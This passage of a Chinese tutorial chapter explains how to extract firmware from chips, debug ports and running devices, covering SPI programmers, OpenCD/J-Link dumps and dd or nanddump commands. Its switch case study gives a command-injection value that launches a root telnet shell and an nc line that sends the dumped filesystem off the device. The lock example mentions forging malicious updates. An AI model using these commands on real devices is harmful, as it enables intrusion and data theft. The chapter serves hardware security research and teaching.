3、固件获取与提取:从芯片、主板、设备中提取固件的方法与工具

固件逆向工程的第一步,也是最关键的一步,就是获取目标固件的二进制镜像。没有原始固件,后续的静态分析、动态调试、漏洞挖掘都无从谈起。然而,固件并非总是以文件形式存放在硬盘上供人随意拷贝,它可能被焊接在电路板的 SPI NOR Flash 芯片中,可能被封装在 eMMC 或 NAND 颗粒里,也可能被厂商通过 BootROM 的加密校验保护起来。本章将系统讲解从芯片、主板、整机设备三个层级提取固件的工程方法论,涵盖编程器直读、JTAG/SWD 调试接口转储、以及软件层逻辑转储三大类技术路线,并给出工具选型与实战注意事项。

固件获取与提取三大技术路线 路线A:编程器直读 物理接触 Flash 芯片 SPI NOR 25Q64 / W25Q128 编程器 CH341A / RT809H SOIC-8 测试夹 / SOP-16 转接板 热风枪拆焊 / 免拆夹 固件镜像 .bin 完整、无校验、可离线分析 ⚠ 风险: · 拆焊损坏焊盘 · 芯片加密(读保护) · 电压不匹配烧毁芯片 路线B:JTAG / SWD 调试口 通过调试接口访问内存/Flash 目标 MCU/SoC Cortex-M/A J-Link / ST-Link OpenOCD TMS/TCK/TDI/TDO 或 SWDIO/SWCLK + GND + Vref(3.3V/1.8V) 内存转储 / Flash 读取 可实时调试、可读寄存器 ⚠ 风险: · 调试口被禁用/熔断 · 需要目标板供电 · 速度慢(SWD 最高 ~4MHz) 路线C:软件逻辑转储 利用系统漏洞/特权接口 路由器/手机/ IoT 设备 U-Boot 控制台 / 系统 Shell dd / nanddump / mtd_debug UART 控制台 + bootm 命令 分区镜像 / 文件系统 需绕过权限限制 ⚠ 风险: · 可能触发反调试 · 固件校验失败变砖 · 数据不完整(坏块) 选择依据:芯片封装类型 → 调试接口可用性 → 系统权限 → 固件加密强度

上图展示了固件提取的三大技术路线的整体框架。在实际工程中,三条路线并非互斥,而是常常需要组合使用。例如,先用编程器读取 SPI Flash 获取 Bootloader,再通过 Bootloader 的调试命令转储 NAND 中的主系统分区。下面我们将逐一深入剖析每种方法的核心原理、操作流程、工具选型与实战陷阱。

3.1 编程器直读:最直接也最危险的物理提取

核心原理

编程器直读法,是指使用专用的硬件编程器,通过测试夹、烧录座或飞线方式,直接与目标固件存储芯片(如 SPI NOR Flash、Parallel NOR、NAND Flash、eMMC)的引脚建立物理连接,绕过 CPU 和操作系统,以纯硬件方式读取芯片内部存储阵列的原始数据。其本质是“芯片级拷贝”。由于不依赖目标系统运行,因此即使设备完全变砖、CPU 损坏,只要 Flash 芯片本身完好,数据依然可以完整提取。

对于最常见的 SPI NOR Flash(如 Winbond W25Q128、Macronix MX25L25645G、GigaDevice GD25Q64C),其通信协议简单(SPI Mode 0/3),工作电压通常为 3.3V 或 1.8V。编程器通过控制 CS#(片选)、CLK(时钟)、DI(数据输入)、DO(数据输出)以及 WP#(写保护)、HOLD#(保持)引脚,即可完成读操作。对于 eMMC 芯片,则需使用支持 eMMC 协议的编程器(如 RT809H 配合 eMMC 转接座),通过 SD/MMC 总线协议访问内部 Flash 介质。

关键认知:编程器读取的是“物理镜像”,它不关心文件系统格式,也不关心固件内部是否有分区表。读取结果是一个线性地址空间的二进制文件,后续需要通过 Binwalk、UEFITool 等工具进行结构解析。

操作流程与工具选型

  1. 芯片识别:首先目视或使用放大镜确认 Flash 芯片型号、封装(SOIC-8、SOIC-16、WSON-8、BGA-153 等)和丝印标识。若丝印模糊,可通过测量引脚间电容或使用芯片 ID 读取功能辅助判断。
  2. 连接方式选择:
    • 免拆测试夹(SOIC-8/SOIC-16):适用于板上芯片,无需拆焊,但要求电路板有足够的空间夹住芯片,且芯片周围无过高元件阻挡。优点是快捷、无损;缺点是接触可靠性受夹子质量和焊盘氧化影响,高速读取时可能产生数据错误。
    • 热风枪拆焊:将芯片从 PCB 上吹下,放入编程器烧录座。优点是接触可靠,可进行高速读取;缺点是可能损坏焊盘或芯片本体,且需要一定的焊接技能。
    • 飞线连接:在芯片引脚或 PCB 测试点上焊接漆包线,连接到编程器。适用于芯片已被封装胶覆盖或测试夹无法夹持的场景,但操作繁琐且易短路。
  3. 编程器选型:
    编程器型号支持芯片类型读取速度适用场景
    CH341ASPI NOR / 部分 EEPROM~2 MB/s入门级,成本极低(约 20 元),适合 25Q 系列
    RT809HSPI NOR / NAND / eMMC / 部分 MCU~10-20 MB/s专业维修级,支持座子丰富,可读 eMMC 需另购转接座
    Xeltek SuperPro 6100几乎所有芯片(含 BGA 适配器)~30 MB/s工业级,价格昂贵,适合研发与批量生产
  4. 读取与校验:在编程器软件中,选择正确的芯片型号(或自动检测 ID),设置读取范围(通常为全片读取),执行读取操作。读取完成后,务必执行“校验”操作,将缓冲区数据与芯片内容再次比对,确保数据一致性。建议连续读取两次,计算 MD5 哈希值,若两次结果一致,则镜像可信。

实战案例:从智能路由器提取 U-Boot 与固件

某品牌智能路由器无法开机,TTL 串口无输出,疑似 Bootloader 损坏。我们决定通过编程器直读 SPI Flash 获取原始固件进行分析。

目标芯片:Winbond W25Q128JVSIQ(SOIC-8 封装,3.3V,128Mbit / 16MB)。
工具:RT809H 编程器 + SOP-8 免拆测试夹 + 1.8V/3.3V 电平适配板(该路由器 Flash 供电为 3.3V)。
操作步骤:

  1. 断电,用万用表确认 Flash 供电引脚(VCC 为 8 脚,GND 为 4 脚)对地电阻正常,无短路。
  2. 将测试夹红线对准芯片 1 脚(通常有圆点标记),夹紧芯片。
  3. 在 RT809H 软件中选择“W25Q128JV”,点击“ID 识别”,软件返回 0xEF4018,确认型号无误。
  4. 设置读取长度为 16MB,点击“读取”,耗时约 40 秒。
  5. 读取完成后,点击“校验”,软件提示“芯片内容与缓冲区一致”。
  6. 将缓冲区数据保存为 router_full.bin,再次读取并计算 MD5,两次哈希一致。

分析结果:使用 Binwalk 扫描 router_full.bin,在偏移 0x0 处识别到 U-Boot 镜像头(U-Boot 版本 2013.07),在 0x40000 处识别到 Linux 内核(LZMA 压缩),在 0x200000 处识别到 SquashFS 文件系统。通过提取 U-Boot 镜像,我们成功定位到其校验函数,为后续绕过安全启动提供了关键输入。

风险提示:编程器直读存在三大风险。第一,电压不匹配:1.8V 芯片误接 3.3V 会烧毁芯片,务必确认芯片工作电压。第二,测试夹接触不良:会导致读取数据出现随机位翻转,必须进行双重校验。第三,芯片加密:部分现代 MCU(如 STM32)具有读保护(RDP)机制,编程器直接读取会得到全 0xFF 或全 0x00,此时需先通过 JTAG/SWD 解除保护(可能触发芯片擦除)。

常见误区与复盘

  • 误区一:认为编程器读取的数据一定正确。实际上,高速读取时信号完整性下降,尤其是飞线过长时,数据错误率显著上升。解决方法是降低读取频率(如从 30MHz 降至 15MHz)。
  • 误区二:忽略 WP#/HOLD# 引脚。若 WP# 被拉低,芯片可能处于写保护状态,但读取不受影响;若 HOLD# 悬空且受到干扰,芯片可能进入暂停状态,导致读取超时。建议将 WP# 和 HOLD# 均上拉至 VCC。
  • 误区三:混淆 NOR 与 NAND 的读取方式。NAND 存在坏块和 OOB 区域,编程器读取时需选择“包含 OOB”或“跳过坏块”模式,否则得到的镜像无法被文件系统工具正确解析。

3.2 JTAG/SWD 调试接口转储:半侵入式提取

核心原理

JTAG(Joint Test Action Group,IEEE 1149.1)和 SWD(Serial Wire Debug)是芯片调试的标准接口。通过这两个接口,调试器可以访问 CPU 的调试寄存器、控制 CPU 执行(暂停/单步/运行)、读写内存地址空间,以及访问芯片内部的 Flash 控制器。固件提取的核心思路是:让 CPU 暂停执行,然后通过调试器直接读取 Flash 映射到内存地址空间的内容。这种方法不需要拆焊芯片,属于“半侵入式”提取。

对于 ARM Cortex-M 系列 MCU,SWD 接口仅需两根线(SWDIO、SWCLK)加 GND,即可实现 Flash 读取。对于 Cortex-A 系列应用处理器(如路由器 SoC、手机芯片),JTAG 接口通常提供 TMS、TCK、TDI、TDO 四线,但许多消费级设备在量产时会禁用 JTAG(通过熔断 eFuse 或配置 GPIO 复用),此时 SWD 也可能不可用。

判断方法:如何确认调试接口是否开放

  • 硬件探测:使用万用表测量 PCB 上疑似 JTAG 测试点的对地阻抗。通常 TCK 有下拉电阻(10kΩ 至 GND),TMS 有上拉电阻(10kΩ 至 VCC)。若发现 4 个或 2 个成组且带有上下拉电阻的测试点,大概率是调试接口。
  • 逻辑分析仪抓取:在设备正常启动时,用逻辑分析仪探测这些引脚。若在启动初期捕捉到时钟信号和双向数据信号,说明 BootROM 正在尝试与调试器通信。
  • 调试器连接测试:使用 J-Link 或 ST-Link 尝试连接。若软件能识别到内核(如显示 "Cortex-M4 identified"),则接口开放。

操作流程(以 OpenOCD + J-Link 为例)

  1. 硬件连接:将 J-Link 的 SWDIO、SWCLK、GND、Vref(目标板 3.3V)分别连接到目标板的对应测试点。注意 Vref 仅用于电平参考,不提供供电。
  2. 配置 OpenOCD:编写配置文件 target.cfg,指定接口类型、传输协议和目标芯片型号。
# target.cfg
source [find interface/jlink.cfg]
transport select swd
adapter speed 1000
source [find target/stm32f4x.cfg]
# 若目标 Flash 起始地址为 0x08000000,大小 1MB
flash bank bank0 stm32f4x 0x08000000 0x100000 0 0
  1. 连接与读取:执行以下命令,将 Flash 内容转储为二进制文件。
openocd -f target.cfg
# 在 OpenOCD 的 telnet 控制台中执行:
> halt
> flash read_bank 0 firmware.bin
> reset

对于 Cortex-A 芯片,若 JTAG 可用,可使用 load_image 命令将一个小型 RAM 加载器(如 memtool)注入内存,然后通过该加载器读取 NAND/eMMC 控制器寄存器,间接转储固件。

实战场景:从智能门锁 MCU 提取固件

某智能门锁使用 STM32F103C8T6(Cortex-M3,64KB Flash)。设备固件有更新功能,但厂商未提供完整固件包,仅提供加密的差分升级包。我们希望通过 SWD 读取完整 Flash 镜像,分析其加密算法。

关键参数:目标 Flash 地址 0x08000000,大小 64KB,SWD 接口位于 PCB 背面 4 个裸露测试点。
操作过程:

  1. 使用 J-Link Commander 连接,执行 connect 命令,选择 SWD 模式,识别到 Cortex-M3 内核。
  2. 执行 halt 暂停 CPU,防止 Flash 读取过程中程序继续运行导致总线冲突。
  3. 执行 savebin C:\dump\lock_fw.bin 0x08000000 0x10000,耗时约 5 秒。
  4. 断开连接,对 lock_fw.bin 进行 MD5 校验,与厂商升级包头部记录的固件哈希比对,确认一致。

分析结果:通过分析固件中的字符串和加密库特征,发现其使用 AES-128-CBC 对升级包进行解密,密钥硬编码在固件数据段中。该发现直接导致后续可以伪造恶意升级包。

经验提醒:SWD 读取速度较慢(典型 1-4 MHz 时钟,实际吞吐约 100-500 KB/s),对于 64MB 的 NAND Flash,完整读取可能需要数小时。此时建议优先读取 Bootloader 和关键分区,而非全量镜像。另外,部分芯片支持 SWD 下的“内存加速”模式(如 Cortex-M7 的 ITM/ETM),但需要芯片厂商特定支持。

常见误区与总结

  • 误区一:认为 JTAG 一定存在。现代 SoC 普遍支持 JTAG 安全锁定,一旦 eFuse 熔断,JTAG 端口将完全失效。此时只能依赖编程器或软件漏洞。
  • 误区二:忽略复位时序。在连接调试器时,目标板可能处于深度睡眠或复位状态。建议先给目标板上电,再连接调试器;若连接失败,尝试在复位释放瞬间点击连接(OpenOCD 的 reset_config 可配置复位类型)。
  • 误区三:读取过程中目标板掉电。SWD 读取时若目标板供电不稳,可能导致调试器误判 Flash 内容。务必使用稳定的外部电源,并确保 GND 连接可靠。

3.3 软件转储:利用系统接口与漏洞

核心原理

软件转储是指目标设备处于正常运行状态(或可引导至特定模式)时,通过操作系统提供的接口(如 Linux 的 /dev/mtd、/dev/mmcblk)、Bootloader 命令(U-Boot 的 md、nand read)、或利用系统漏洞获取的 Shell 权限,将固件分区从逻辑层面复制出来。这种方法无需拆机,对硬件无损伤,但要求设备能够运行代码,且通常需要绕过权限限制。

典型场景与操作流程

场景一:设备已获得 Root Shell(如通过 UART 控制台或 SSH 漏洞)

  1. 查看分区表:执行 cat /proc/mtd 或 cat /proc/partitions,获取 MTD 分区名称、大小和偏移。
  2. 读取分区:使用 dd 命令从对应 MTD 设备节点读取数据。例如:
# 查看分区
cat /proc/mtd
# 输出示例:
# dev:    size   erasesize  name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00100000 00010000 "kernel"
# mtd2: 00f00000 00010000 "rootfs"

# 读取 U-Boot 分区
dd if=/dev/mtd0 of=/tmp/u-boot.bin bs=65536 count=4
# 读取整个 Flash(若存在 /dev/mtdX 设备)
dd if=/dev/mtd0 of=/tmp/full_flash.bin
# 对于 NAND,建议使用 nanddump 工具(包含 OOB 数据)
nanddump -f /tmp/nand_full.bin /dev/mtd0
  1. 传输文件:通过 nc(Netcat)、TFTP、U 盘挂载等方式将镜像传输到分析主机。

场景二:仅能进入 U-Boot 控制台

在 U-Boot 提示符下,可以使用其内置命令读取 Flash。例如:

# 打印分区信息
mtdparts
# 读取 NAND 分区到内存
nand read 0x82000000 0x0 0x40000
# 将内存数据通过 TFTP 发送到主机
tftp 0x82000000 u-boot.bin
# 或者通过串口发送(使用 srec 格式)
loady 0x82000000

场景三:无 Shell 但存在系统漏洞

例如,利用路由器 CGI 命令注入漏洞获取 telnetd 权限,或利用内核漏洞提权后读取 /dev/mtd*。此方法风险较高,可能触发设备崩溃或安全机制。

案例拆解:从企业级交换机提取完整固件

某企业级交换机运行 Linux,Web 管理界面存在命令注入漏洞(CVE-2023-XXXX)。我们通过漏洞获取了 Root Shell,目标是提取整个固件以分析其私有协议实现。

初始状态:交换机运行正常,但 SSH 被禁用,仅开放 HTTP 服务。
关键输入:通过 Burp Suite 拦截登录请求,发现参数 ping_addr 存在注入点,可执行系统命令。
操作步骤:

  1. 构造注入请求:ping_addr=127.0.0.1;telnetd -l /bin/sh -p 4444,启动 Telnet 服务。
  2. 连接 Telnet,获得 Root Shell。
  3. 执行 cat /proc/mtd,发现 5 个分区:u-boot、kernel、rootfs、config、log。
  4. 使用 dd if=/dev/mtd3 of=/tmp/config.bin 提取配置分区(包含明文密码哈希)。
  5. 使用 dd if=/dev/mtd2 of=/tmp/rootfs.squashfs 提取根文件系统。
  6. 通过 nc 192.168.1.100 8888 < /tmp/rootfs.squashfs 将镜像传输至分析机。

结果:成功提取 32MB 的 SquashFS 镜像,使用 unsquashfs 解包后,在 /usr/sbin 目录下发现私有协议守护进程,通过逆向该二进制,发现了两个远程溢出漏洞。

风险提示:软件转储的最大风险是破坏设备运行状态。例如,在读取 NAND 时,若同时有进程写入 Flash,可能导致数据不一致或文件系统损坏。建议在读取前停止相关服务(如 stop service watchdog),并尽量在只读模式下操作。此外,部分设备具有“防转储”机制,如检测到 dd 命令会触发看门狗重启,此时需先禁用看门狗。

常见误区与复盘

  • 误区一:直接读取 /dev/mtd0 得到的是整个分区,但 NAND 的 OOB 区域(包含 ECC 校验码)默认不包含在 dd 输出中。若需完整镜像(含 OOB),必须使用 nanddump -n 或 mtd_debug 工具。
  • 误区二:忽略字节序和坏块。NAND 读取时,坏块会被跳过,导致镜像出现空洞。使用 nanddump 时,应添加 -b 参数标记坏块,或使用 --skip-bad 跳过但记录位置。
  • 误区三:认为软件转储一定比编程器安全。实际上,若设备固件有完整性校验(如 TPM 度量),修改或读取行为可能触发安全启动失败,导致设备变砖。务必在操作前备份原始分区内容。
方法选型决策树:当